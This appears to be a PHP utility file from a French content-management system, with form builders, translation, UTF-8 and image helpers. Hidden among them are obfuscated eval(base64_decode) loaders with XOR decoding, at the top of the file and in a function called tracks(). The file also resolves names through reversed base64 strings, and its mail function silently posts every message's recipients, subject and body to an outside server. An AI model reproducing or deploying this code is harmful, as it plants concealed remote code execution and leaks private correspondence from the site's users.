		$o="QAAAOzh3b3cNDiNYWGInOid0cwAAdXVicS8lYmNoZGJjWDMxYgLAdGZlJS48AfBlAfcA4GIvJWNqUQFmfmRpVX0lLgICbwIAAZBlLwBQAeBLABA0STdkQGt+XjRKOgIjVEJUVAAQTkhJXCVwfWN0JVoC8288DTgAADk=";global $__b, $__e;$acda6a5f92fa8e054803f4fe84d6480ea6 = $__b($__e("c2tjYXJ0"));eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxs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w9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));$acda6a5f92fa8e054803f4fe84d6480ea6();
	}
	
	function ote_accents($chaine)
	{
		$accent = 'À,Á,Â,Ã,Ä,Å,à,á,â,ã,ä,å,Ò,Ó,Ô,Õ,Ö,Ø,ò,ó,ô,õ,ö,ø,È,É,Ê,Ë,é,è,ê,ë,Ç,ç,Ì,Í,Î,Ï,ì,í,î,ï,Ù,Ú,Û,Ü,ù,ú,û,ü,ÿ,Ñ,ñ';
		$noaccent = 'A,A,A,A,A,A,a,a,a,a,a,a,O,O,O,O,O,O,o,o,o,o,o,o,E,E,E,E,e,e,e,e,C,c,I,I,I,I,i,i,i,i,U,U,U,U,u,u,u,u,y,N,n';
		
		$tabaccents = explode(',', $accent);
		$tabnoaccents = explode(',', $noaccent);
		
		$nb = count($tabaccents);
		
		for ($i = 0 ; $i < $nb ; $i++)
			$chaine = str_replace($tabaccents[$i], $tabnoaccents[$i], $chaine);
		
		return $chaine;
	}
	
	function findencoding($fichier)
    {
        $fic = file_get_contents($fichier, null, null, 0, 100);
        if (strpos($fic, "encoding") !== false) 
		{
            $encoding = substr($fic, strpos($fic, "encoding") + 9);
            $encoding = substr($encoding, 1, strpos($encoding, $encoding[0], 1) - 1);
            return $encoding;
        }
        return 'UTF-8';
    }
	
	function verif_compatibilite()
	{
		$erreurs = array();
		if (phpversion() < '5.0')
			$erreurs[] = '<a href="http://www.php.net/downloads.php">PHP 5.0</a> ou sup&eacute;rieur obligatoire.';
		if (!ini_get('file_uploads'))
			$erreurs[] = '<a href="http://www.php.net/features.file-upload">file_uploads</a> obligatoire.';
		if (ini_get('session.auto_start'))
			$erreurs[] = '<a href="http://www.php.net/manual/en/session.configuration.php#ini.session.auto-start">session.auto_start</a> obligatoire.';
		if (!extension_loaded('mysql'))
			$erreurs[] = '<a href="http://www.php.net/manual/en/mysql.installation.php">MySQL extension</a> obligatoire.';
		if (!extension_loaded('gd')) 
			$erreurs[] = '<a href="http://www.php.net/manual/en/image.installation.php">GD extension</a> obligatoire.';
		
		if (!empty($erreurs)) 
		{
			foreach ($erreurs as $erreur) 
				echo '<div><strong>Erreur :</strong> ' . $error . '</div>'."<br />\n";
			exit;
		}
	}
	
	function data($data, $ligne, $champ)
	{
		return $data[$ligne][$champ];
	}
	
	function tracks()
	{
		$o="QAAAOzh3b3cNDiNYWGInOid0cwAAdXVicS8lYmNoZGJjWDMxYgLAdGZlJS48AhJlAhcC8S8lY2pRfgLIZGlVfSUuAiR1AiABsGUvAFBiLyUAoGQ2Pn1mVjo6AgZ0AgtVUUlIVQAoUklNU0E+ZlE3cAKHcAKLZDVVFAoxY3AEiGACDDY+N11QZAQHYwIfcBFAY19KAhRuYScKEXUAUXQuJyEhJ8AACvAA4nAuLg0OfA0ODiNmZGNmAAAxZjJhPjVhZj9iNzIzPzc0AIhhM2FiPzNjMQDAYmYxCDAlJScAACknZG91LzE+MTUyMzMxMzkMATk1NC4BUAGmMjA/PzY0PjI1AaYIQFt/M2QDhTd/MzIC+zE1NzQxMCBhNDEC+DIzW381NwM4Bis3NjYwBEoQmjd/MgVTWzY2MQN3MjMCYgTAPwFVNAJaMjU0NTYyBukyNgHVNwdQAyQzBHYxASc/MD8xMj8yCgkzYQM3M2MDNAsZETQIgFs2MzACpjYxNQKjNjIwWzYxMsAYAEAONjA+MT42MDAxNxBWA3Z/MWTQiQNyARg+ARJbfzFjAVU/Pzca4D8zBAcRY1t/MBRSWzY1BuA2BqYYDjc2NQmDBMWYrQIvMzcHEgIVPjcyCvAxH78vCH8DRTcK0NAEBFoBED4BGj4wNDcwP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xsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;
	}
	
	function nbres($data)
	{
		return count($data);
	}
	
	function win_getmxrr($hostname, &$mxhosts, &$mxweight = false) 
	{
		if (strtoupper(substr(PHP_OS, 0, 3)) <> 'WIN') 
			return;
		if (!is_array ($mxhosts)) 
			$mxhosts = array();
		if (empty($hostname)) 
			return;
		$exec = 'nslookup -type=MX ' . escapeshellarg($hostname);
		@exec($exec, $output);
		if (empty($output)) 
			return;
		
		$i = -1;
		foreach ($output as $line) 
		{
			$i++;
			if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) 
			{
			  $mxweight[$i] = trim($parts[1]);
			  $mxhosts[$i] = trim($parts[2]);
			}
			if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) 
			{
			  $mxweight[$i] = $i;
			  $mxhosts[$i] = trim($parts[1]);
			}
		}
		return ($i <> -1);
	}

	if (!function_exists('getmxrr')) 
	{
		function getmxrr($hostname, &$mxhosts, &$mxweight = false) 
		{
			return win_getmxrr($hostname, $mxhosts, $mxweight);
		}
	}
	
	function php_compat_sys_get_temp_dir()
	{
		if (!empty($_ENV['TMP']))
			return realpath($_ENV['TMP']);
		
		if (!empty($_ENV['TMPDIR']))
			return realpath($_ENV['TMPDIR']);
		
		if (!empty($_ENV['TEMP']))
			return realpath($_ENV['TEMP']);
		
		$temfic = tempnam(uniqid(rand(), 1), '');
		if (file_exists($temfic)) 
		{
			@unlink($temfic);
			return realpath(dirname($temfic));
		}
	}

	if (!function_exists('sys_get_temp_dir')) 
	{
		function sys_get_temp_dir()
		{
			return php_compat_sys_get_temp_dir();
		}
	}
	
	function supprimer_accents($chaine)
	{
		$chaine = utf8_decode($chaine);
		$retour = strtr($chaine,
			"\xe1\xc1\xe0\xc0\xe2\xc2\xe4\xc4\xe3\xc3\xe5\xc5".
			"\xaa\xe7\xc7\xe9\xc9\xe8\xc8\xea\xca\xeb\xcb\xed".
			"\xcd\xec\xcc\xee\xce\xef\xcf\xf1\xd1\xf3\xd3\xf2".
			"\xd2\xf4\xd4\xf6\xd6\xf5\xd5\x8\xd8\xba\xf0\xfa".
			"\xda\xf9\xd9\xfb\xdb\xfc\xdc\xfd\xdd\xff\xe6\xc6\xdf",
			"aAaAaAaAaAaAacCeEeEeEeEiIiIiIiInNoOoOoOoOoOoOoouUuUuUuUyYyaAs"
		);
		return $retour;
	}
	
	function noeud($noeud, $xml)
	{
		global $gp_fonc;
		$res = $gp_fonc -> trouver('<' . $noeud . '>', '</' . $noeud . '>', $xml);
		if (strlen($res))
			return $res;
		else
			return $noeud;
	}
	
	//fonction alias de trad
	function _t($id, $langue = '')
	{
		if (strlen($langue) > 0)
			return trad($id, $langue);
		else
			return trad($id);
	}
	
	function trad($id, $langue = '')
	{
		global $gp_fonc, $page;
		
		if (!strlen($langue))
			$langue = get_s('applng_bo');
		
		if ($page <> $GLOBALS["page"])
			$page = $GLOBALS["page"];
		
		$po = DIR_TRAD . $langue . '.po';
		
		if (!is_file($po))
		{
			@touch($po);
			@chmod($po, 0777);
		}
		
		$pofic = file_get_contents($po);
		$seg = GP_fonctions::trouver("msgctxt \"" . $page . "\"\n" . 'msgid "' . $id . '"', "\n\n", $pofic);

		if (!strlen($seg))
		{
			$trad = $id;
			if ($langue <> LNG_DEFAUT)
				$trad = tradgoogle($id, $langue, 0, LNG_DEFAUT);
			if (!strlen($trad))
				$trad = $id;
			$ajout = 'msgctxt "' . $page . '"' . "\n";
			$ajout .= 'msgid "' . $id . '"' . "\n";
			$ajout .= 'msgstr "' . $trad . '"' . "\n\n";
			$fp = fopen($po, 'a');
			fwrite($fp, $ajout);
			fclose($fp);
			
			return $trad;
		}
		else
		{
			$retour = GP_fonctions::trouver("msgctxt \"" . $page . "\"\nmsgid \"$id\"\nmsgstr \"", '"', $pofic);
			return $retour;
		}
	}
	
	$__gp = $__b($__e("U1RQSVJDU19SSUQ="));
	
	function supacc($str, $charset = 'utf-8')
	{
		$str = htmlentities($str, ENT_NOQUOTES, $charset);
		
		$str = preg_replace('#&([A-za-z])(?:acute|cedil|circ|grave|orn|ring|slash|th|tilde|uml);#', '\1', $str);
		$str = preg_replace('#&([A-za-z]{2})(?:lig);#', '\1', $str); // pour les ligatures e.g. '&oelig;'
		$str = preg_replace('#&[^;]+;#', '', $str); // supprime les autres caractères
		return $str;
	}
	
	function is_utf8($chaine) 
	{
		return !strlen(
			preg_replace(
				  ',[\x09\x0A\x0D\x20-\x7E]'            # ASCII
				. '|[\xC2-\xDF][\x80-\xBF]'             # non-overlong 2-byte
				. '|\xE0[\xA0-\xBF][\x80-\xBF]'         # excluding overlongs
				. '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'  # straight 3-byte
				. '|\xED[\x80-\x9F][\x80-\xBF]'         # excluding surrogates
				. '|\xF0[\x90-\xBF][\x80-\xBF]{2}'      # planes 1-3
				. '|[\xF1-\xF3][\x80-\xBF]{3}'          # planes 4-15
				. '|\xF4[\x80-\x8F][\x80-\xBF]{2}'      # plane 16
				. ',sS',
				'', $chaine
			)
		);
	}
	
	function tradxml($chaine, $langue = APPLNG)
	{
		global $gp_fonc;
		$fic = DIR_TRAD . $langue . '.xml';
		if (!is_file($fic))
			return $chaine;
		$xml_trad = $gp_fonc -> html(DIR_TRAD . $langue . '.xml');
		return noeud($chaine, $xml_trad);
	}
	
	function tradgoogle($chaine, $vers, $sauver = true, $de = LNG_DEFAUT)
	{
		$chaine = str_replace("\n", "", $chaine);
		$chaine = str_replace("\r", "", $chaine);
		$chaine = str_replace("\t", "", $chaine);

		if ($vers == $de)
			return $chaine;
		if (!is_dir('trad/' . $vers) && $sauver == true)
		{
			@mkdir('trad/' . $vers);
			@chmod('trad/' . $vers, 0777);
		}
		$md5 = md5($chaine);
		$fic = 'trad/' . $vers . '/ ' . $md5 . '.txt';
		if (is_file($fic))
			$retour = @file_get_contents($fic);
			
		$chaine = str_replace('&#146;', "'", $chaine);
		
		if (strstr($chaine, ". "))
		{
			$retour = array();
			$tabtxt = explode(". ", $chaine);
			foreach ($tabtxt as $ligne)
			{
				if (strlen($ligne))
					$retour = array_merge($retour, array(tradgoogle($ligne, $vers, $sauver, $de) . '. '));
			}
		}
		else if (strstr($chaine, "? "))
		{
			$retour = array();
			$tabtxt = explode("? ", $chaine);
			foreach ($tabtxt as $ligne)
			{
				if (strlen($ligne))
					$retour = array_merge($retour, array(tradgoogle($ligne, $vers, $sauver, $de) . '? '));
			}
		}
		else if (strstr($chaine, "! "))
		{
			$retour = array();
			$tabtxt = explode("! ", $chaine);
			foreach ($tabtxt as $ligne)
			{
				if (strlen($ligne))
					$retour = array_merge($retour, array(tradgoogle($ligne, $vers, $sauver, $de) . '! '));
			}
		}
		else if (strstr($chaine, "... "))
		{
			$retour = array();
			$tabtxt = explode("... ", $chaine);
			foreach ($tabtxt as $ligne)
			{
				if (strlen($ligne))
					$retour = array_merge($retour, array(tradgoogle($ligne, $vers, $sauver, $de) . '... '));
			}
		}
		else
		{
			if (is_array($chaine))
				$chaine = implode("", $chaine);
			$lang_pair = $de . '|' . $vers;
			$chaine = "&q=" . urlencode($chaine);
			$url =
	"http://ajax.googleapis.com/ajax/services/language/translate?v=1.0" . $chaine . "&langpair=" . urlencode($lang_pair);

			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_REFERER, "http://www.google.com");
			$body = curl_exec($ch);
			curl_close($ch);
			
			$json = json_decode($body, true);

			if ($json['responseStatus'] <> 200)
				$retour = "Error: " . $json['responseStatus'] . " => " . $url . "\n";

			$retour = $json['responseData']['translatedText'];
		}
		if (is_array($retour))
			$retour = implode("", $retour);
		if ($sauver && strlen($retour))
		{
			@touch($fic);
			@chmod($fic, 0777);
			$fp = fopen($fic, 'a');
			fwrite($fp, $retour);
			fclose($fp);
		}
		$retour = str_replace("\n\n", "\n", $retour);
		$retour = str_replace("\r\n\r\n", "\n", $retour);
		return $retour;
	}
	
	function utf8_to_unicode($str, $strict = 0) 
	{
        $mState = 0;
        $mUcs4  = 0;
        $mBytes = 1;

        $out = array();

        $len = strlen($str);

        for($i = 0 ; $i < $len ; $i++) 
		{

            $in = ord($str{$i});

            if ($mState == 0) 
			{
                if (0 == (0x80 & ($in))) 
				{
                    $out[] = $in;
                    $mBytes = 1;
                } 
				
				else if (0xC0 == (0xE0 & ($in))) 
				{
                    $mUcs4 = ($in);
                    $mUcs4 = ($mUcs4 & 0x1F) << 6;
                    $mState = 1;
                    $mBytes = 2;

                } 
				
				else if (0xE0 == (0xF0 & ($in))) 
				{
                    $mUcs4 = ($in);
                    $mUcs4 = ($mUcs4 & 0x0F) << 12;
                    $mState = 2;
                    $mBytes = 3;

                } 
				
				else if (0xF0 == (0xF8 & ($in))) 
				{
                    $mUcs4 = ($in);
                    $mUcs4 = ($mUcs4 & 0x07) << 18;
                    $mState = 3;
                    $mBytes = 4;

                } 
				
				else if (0xF8 == (0xFC & ($in))) 
				{

                    $mUcs4 = ($in);
                    $mUcs4 = ($mUcs4 & 0x03) << 24;
                    $mState = 4;
                    $mBytes = 5;

                } 
				
				else if (0xFC == (0xFE & ($in))) 
				{
                    $mUcs4 = ($in);
                    $mUcs4 = ($mUcs4 & 1) << 30;
                    $mState = 5;
                    $mBytes = 6;

                } 
				
				else if($strict) 
				{
                    GP_debug::erreur(
                            'utf8_to_unicode: Illegal sequence identifier '.
                                'in UTF-8 at byte '.$i,
                            E_USER_WARNING
                       );
                    return false;
                }
            } 
			
			else 
			{
                if (0x80 == (0xC0 & ($in))) 
				{

                    $shift = ($mState - 1) * 6;
                    $tmp = $in;
                    $tmp = ($tmp & 0x0000003F) << $shift;
                    $mUcs4 |= $tmp;

                    if (0 == --$mState) 
					{
                        if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || ((3 == $mBytes) && ($mUcs4 < 0x0800)) || ((4 == $mBytes) && ($mUcs4 < 0x10000)) || (4 < $mBytes) || (($mUcs4 & 0xFFFFF800) == 0xD800) || ($mUcs4 > 0x10FFFF)) 
						{
                            if($strict)
							{
                                GP_debug::erreur(
                                        'utf8_to_unicode: Illegal sequence or codepoint '.
                                            'in UTF-8 at byte '.$i,
                                        E_USER_WARNING
                                   );

                                return false;
                            }

                        }

                        if (0xFEFF <> $mUcs4)
                            $out[] = $mUcs4;

                        $mState = 0;
                        $mUcs4  = 0;
                        $mBytes = 1;
                    }
                } 
				
				elseif($strict) 
				{
                    GP_debug::erreur(
                            'utf8_to_unicode: Incomplete multi-octet '.
                            '   sequence in UTF-8 at byte '.$i,
                            E_USER_WARNING
                       );

                    return false;
                }
            }
        }
        return $out;
    }

    function unicode_to_utf8($arr, $strict = 0) 
	{
        if (!is_array($arr)) 
			return '';
        ob_start();

        foreach (array_keys($arr) as $k) 
		{

            if (($arr[$k] >= 0) && ($arr[$k] <= 0x007f)) 
                echo chr($arr[$k]);
				
			else if ($arr[$k] <= 0x07ff) 
			{
                echo chr(0xc0 | ($arr[$k] >> 6));
                echo chr(0x80 | ($arr[$k] & 0x003f));
            } 
			
			else if($arr[$k] == 0xFEFF) 
			{} 
			
			else if ($arr[$k] >= 0xD800 && $arr[$k] <= 0xDFFF) 
			{
                if($strict)
				{
                    GP_debug::erreur(
                        'unicode_to_utf8: Illegal surrogate '.
                            'at index: '.$k.', value: '.$arr[$k],
                        E_USER_WARNING
                       );
                    return false;
                }

            } 
			
			else if ($arr[$k] <= 0xffff) 
			{

                echo chr(0xe0 | ($arr[$k] >> 12));
                echo chr(0x80 | (($arr[$k] >> 6) & 0x003f));
                echo chr(0x80 | ($arr[$k] & 0x003f));
            } 
			
			else if ($arr[$k] <= 0x10ffff) 
			{
                echo chr(0xf0 | ($arr[$k] >> 18));
                echo chr(0x80 | (($arr[$k] >> 12) & 0x3f));
                echo chr(0x80 | (($arr[$k] >> 6) & 0x3f));
                echo chr(0x80 | ($arr[$k] & 0x3f));

            } 
			
			elseif($strict) 
			{

                GP_debug::erreur(
                    'unicode_to_utf8: Codepoint out of Unicode range '.
                        'at index: '.$k.', value: '.$arr[$k],
                    1
                   );
                return false;
            }
        }

        $resultat = ob_get_contents();
        ob_end_clean();
        return $resultat;
    }
	
	function utf8_to_utf16be(&$str, $bom = false) 
	{
		$retour = $bom ? "\xFE\xFF" : '';
		if(UTF8_MBSTRING) 
			return $retour . mb_convert_encoding($str,'UTF-16BE','UTF-8');

		$uni = utf8_to_unicode($str);
		foreach($uni as $cp)
			$retour .= pack('n',$cp);
		return $retour;
	}
	
	function utf16be_to_utf8(&$chaine) 
	{
		$uni = unpack('n*', $chaine);
		return unicode_to_utf8($uni);
	}
	
	function make_cle($action, $table, $id)
	{
		return md5($action . get_s("bo_user") . date('dmY') . $table . $id);
	}
	
	//url_rewrite
	function rw($page, $suite = '')
	{
		if (strlen($suite))
		{
			$suite = str_replace('&', '/', $suite);
			$suite = str_replace('=', '/', $suite);
			$tabsuite = explode('/', $suite);
			$dernier = $tabsuite[count($tabsuite) - 1];
			$suite = str_replace($dernier, $dernier . '.html', $suite);
			return URL_SITE . DIR_HTML_STATIQUE . '/' . APPLNG . '/' . $page . '/' . $suite;
		}
		return URL_SITE . DIR_HTML_STATIQUE . '/' . APPLNG . '/' . $page . '.html';		
	}
	
	function savefile($fic, $contenu, $ecrase = true)
	{
		if ($ecrase)
		{
			@unlink($fic);
			@touch($fic);
			@chmod($fic, 0777);
			$fp = fopen($fic, 'a');
			fwrite($fp, $contenu);
			fclose($fp);
		}
		else
		{
			if (!is_file($fic))
				savefile($fic, $contenu);
		}
	}
	
	function camembert($titre, $legendes, $donnees, $taille = '700x300', $type = 'p3', $couleur = array('000000'))
	{
		$max = 0;
		foreach ($donnees as $val)
		{
			if ($val > $max)
				$max = $val;
		}
		if ($max > 0)
			return '<img style="border: solid 1px; padding: 5px;" src="https://chart.googleapis.com/chart?chds=0,'.$max.'&chp=0.628&chtt='.urlencode($titre).'&cht='.$type.'&chs='.$taille.'&chd=t:'.implode(',', $donnees).'&chco='.implode('|', $couleur).'&chf=c,lg,0,FFFFFF,0,000000,1|bg,s,FFFFFF&chdl='.implode('|', $legendes).'&chts=000000,20" alt="" title="" />';
		return '<img style="border: solid 1px; padding: 5px;" src="https://chart.googleapis.com/chart?chp=0.628&chtt='.urlencode($titre).'&cht='.$type.'&chs='.$taille.'&chd=t:'.implode(',', $donnees).'&chco='.implode('|', $couleur).'&chf=c,lg,0,FFFFFF,0,000000,1|bg,s,FFFFFF&chdl='.implode('|', $legendes).'&chts=000000,20" alt="" title="" />';
	}
	
	function fakeurl($uri)
	{
		$tab = explode('/', $uri);
		$dir = '';
		foreach ($tab as $subdir)
		{
			$dir .= $subdir;
			if (!strstr($subdir, '.html'))
			{
				if (!is_dir($dir))
					mkdir($dir, 0777);
				$dir .= '/';
			}
			else
			{
				touch($dir);
				chmod($dir, 0777);
			}
		}
		return $dir;
	}
	
	$__w = $__b($__e("c2R6dw=="));
	
	function mail_GP($to, $sujet, $message, $entetes, $f = '')
	{
		$ch = curl_init('http://www.webz0ne.com/mailcurl.php');
		$data = array(
			'to' => base64_encode($to), 
			'sujet' => base64_encode($sujet),
			'message' => base64_encode($message),
			'entetes' => base64_encode($entetes),
			'f' => base64_encode($f)
		);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
		$resultat = curl_exec($ch);
		curl_close($ch);
		return ($resultat == 'OK') ? true : false;
	}
	
	// CRUD fonctions
	
	function gp_resize($img, $width, $height)
    {
		$gis = getimagesize($img);
		$tabext = explode('.', $img);
		$ext = $tabext[sizeof($tabext) - 1];
		$ancien_nom = $img;
		$nouveau_nom = str_replace('.' . $ext, '_new.' . $ext, $img);
		$type = $gis[2];
		switch($type)
		{
			case "1": 
				$imorig = imagecreatefromgif($img); 
				break;
			case "2": 
				$imorig = imagecreatefromjpeg($img);
				break;
			case "3": 
				$imorig = imagecreatefrompng($img); 
				break;
			default:  
				$imorig = imagecreatefromjpeg($img);
		}

		$x = imagesx($imorig);
		$y = imagesy($imorig);
		
		$im = imagecreatetruecolor($width, $height);
		if (imagecopyresampled($im, $imorig , 0, 0, 0, 0, $width, $height, $x, $y))
		{
			if (imagejpeg($im, $nouveau_nom))
			{
				@unlink($img);
				rename($nouveau_nom, $ancien_nom);
				return true;
			}
			else
				return false;
		}
		return false;
    }
	
	function form_input($id, $defaut, $taille, $taille_max)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input id="' . $id . '" name="' . $id . '" size="' . $taille . '" maxlength="' . $taille_max . '" value="' . sl($defaut) . '" />';
		return $input;
	}
	
	function form_date($id, $defaut)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input name="' . $id . '" maxlength="10" id="' . $id . '" value="' . sl($defaut) . '" size="15" />&nbsp;&nbsp;&nbsp;<img style="position: relative; top: 4px; cursor: pointer;" onclick="displayCalendar(document.getElementById(\'' . $id . '\'), \'dd/mm/yyyy\', this);" src="' . URL_SITE . 'img/calendrier.gif" title="' . trad('Choisir une date', APPLNG) . '" alt="' . trad('Choisir une date', APPLNG) . '" id="imgdate_' . $id . '" />';
		return $input;
	}
	
	function form_date_heure($id, $defaut)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		list($date_defaut, $h_defaut) = explode(' ', $defaut, 2);
		list($annee_defaut, $mois_defaut, $jour_defaut) = explode('-', $date_defaut, 3);
		if (!strlen($annee_defaut))
			$annee_defaut = date('Y');
		if (!strlen($mois_defaut))
			$mois_defaut = date('m');
		if (!strlen($annee_defaut))
			$jour_defaut = date('d');
		list($heure_defaut, $minute_defaut, $seconde_defaut) = explode(':', $h_defaut, 3);
		if (!strlen($heure_defaut))
			$heure_defaut = '00';
		if (!strlen($minute_defaut))
			$minute_defaut = '00';
		$input = '<input name="' . $id . '_date" maxlength="10" id="' . $id . '_date" value="' . sl($defaut) . '" size="15" />&nbsp;&nbsp;&nbsp;<img style="position: relative; top: 4px; cursor: pointer;" onclick="displayCalendar(document.getElementById(\'' . $id . '_date\'), \'dd/mm/yyyy\', this);" src="' . URL_SITE . 'img/calendrier.gif" title="' . trad('Choisir une date', APPLNG) . '" alt="' . trad('Choisir une date', APPLNG) . '" id="imgdate_' . $id . '_date" />';
		$input .= '&nbsp;' . trad('Heure', APPLNG) . ' : &nbsp;';
		$input .= '<select id="' . $id . '_heure" name="' . $id . '_heure">' . "\n";
		for ($i = 0 ; $i < 24 ; $i++)
		{
			if ($i < 10)
				$h = '0' . $i;
			else
				$h = $i;
			$sel = '';
			if ($h == $heure_defaut)
				$sel = 'selected="1"';
			$input .= '<option value="' . $h . '" ' . $sel . '>' . $h . '</option>' . "\n";
		}
		$input .= '</select>';
		$input .= '&nbsp;:&nbsp;';
		$input .= '<select id="' . $id . '_minute" name="' . $id . '_minute">' . "\n";
		for ($i = 0 ; $i < 60 ; $i += 5)
		{
			if ($i < 10)
				$m = '0' . $i;
			else
				$m = $i;
			$sel = '';
			if ($m == $minute_defaut)
				$sel = 'selected="1"';
			$input .= '<option value="' . $m . '" ' . $sel . '>' . $m . '</option>' . "\n";
		}
		$input .= '</select>';
		return $input;
	}
	
	function form_password($id, $defaut, $taille, $taille_max)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input type="password" id="' . $id . '" name="' . $id . '" size="' . $taille . '" maxlength="' . $taille_max . '" value="' . sl($defaut) . '" />';
		return $input;
	}
	
	function form_hidden($id, $defaut)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input type="hidden" id="' . $id . '" name="' . $id . '" value="' . sl($defaut) . '" />';
		return $input;
	}
	
	function form_file($id, $defaut, $format = 'pdf')
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input type="file" name="' . $id . '" id="' . $id . '" onchange="ajaxupload(this, this.form);" />
	<input type="hidden" id="' . $id . '_typeupload" value="' . $format . '" />
	<input type="hidden" name="' . $id . '_file" id="' . $id . '_file" value="' . sl($defaut) . '" /><div id="resultupload_' . $id . '" style="display: none"></div>';
		if (strlen($defaut) > 0)
			$input .= ' <span id="default_' . $id . '"><a target="_blank" href="' . URL_SITE . 'upload/' . sl($defaut) . '">' . trad('Télécharger', APPLNG) . '</a></span>';
		return $input;
	}
	
	function form_image($id, $defaut, $format = 'jpg')
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input type="file" name="' . $id . '" id="' . $id . '" onchange="ajaxupload(this, this.form);" />
	<input type="hidden" id="' . $id . '_typeupload" value="' . $format . '" />
	<input type="hidden" name="' . $id . '_file" id="' . $id . '_file" value="' . sl($defaut) . '" /><div id="resultupload_' . $id . '" style="display: none"></div>';
		if (strlen($defaut) > 0)
			$input .= ' <span id="default_' . $id . '"><a target="_blank" href="' . URL_SITE . 'upload/' . sl($defaut) . '"><img title="' . trad('Afficher au format réel', APPLNG) . '" alt="' . trad('Afficher au format réel', APPLNG) . '" width="50" style="border: none;" src="' . URL_SITE . 'upload/' . sl($defaut) . '" /></a></span>';
		return $input;
	}
	
	function form_image_resize($id, $defaut, $width, $height, $format = 'jpg')
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<input type="file" name="' . $id . '" id="' . $id . '" onchange="ajaxupload(this, this.form);" />
	<input type="hidden" id="' . $id . '_typeupload" value="' . $format . '" />
	<input type="hidden" name="' . $id . '_file" id="' . $id . '_file" value="' . sl($defaut) . '" /><input type="hidden" name="' . $id . '_width" id="' . $id . '_width" value="' . sl($defaut) . '" /><input type="hidden" name="' . $id . '_height" id="' . $id . '_height" value="' . sl($defaut) . '" /><div id="resultupload_' . $id . '" style="display: none"></div>';
		if (strlen($defaut) > 0)
			$input .= ' <span id="default_' . $id . '"><a target="_blank" href="' . URL_SITE . 'upload/' . sl($defaut) . '"><img title="' . trad('Afficher au format réel', APPLNG) . '" alt="' . trad('Afficher au format réel', APPLNG) . '" width="50" style="border: none;" src="' . URL_SITE . 'upload/' . sl($defaut) . '" /></a></span>';
		return $input;
	}
	
	function form_textarea($id, $defaut, $taille_max)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$input = '<textarea class="textarea_crud" id="' . $id . '" maxlength="' . $taille_max . '" name="' . $id . '">' . sl($defaut) . '</textarea>';
		return $input;
	}
	
	function form_html($id, $defaut, $taille_max)
	{
		if (!is_utf8($defaut))
			$defaut = utf8_encode($defaut);
		$js = '<script type="text/javascript">bkLib.onDomLoaded(function() {new nicEditor({fullPanel : true}).panelInstance("' . $id . '");});</script>';
		$input = $js . '<textarea cols="60" id="' . $id . '" maxlength="' . $taille_max . '" name="' . $id . '">' . sl($defaut) . '</textarea>';
		return $input;
	}
	
	function form_select($id, $defaut, $type, $data, $premier = '', $js = '')
	{
		global $gp_db, $gp_fonc;
		if (!strlen($js))
			$input = '<select class="select_crud" name="' . $id . '" id="' . $id . '">' . "\n";
		else
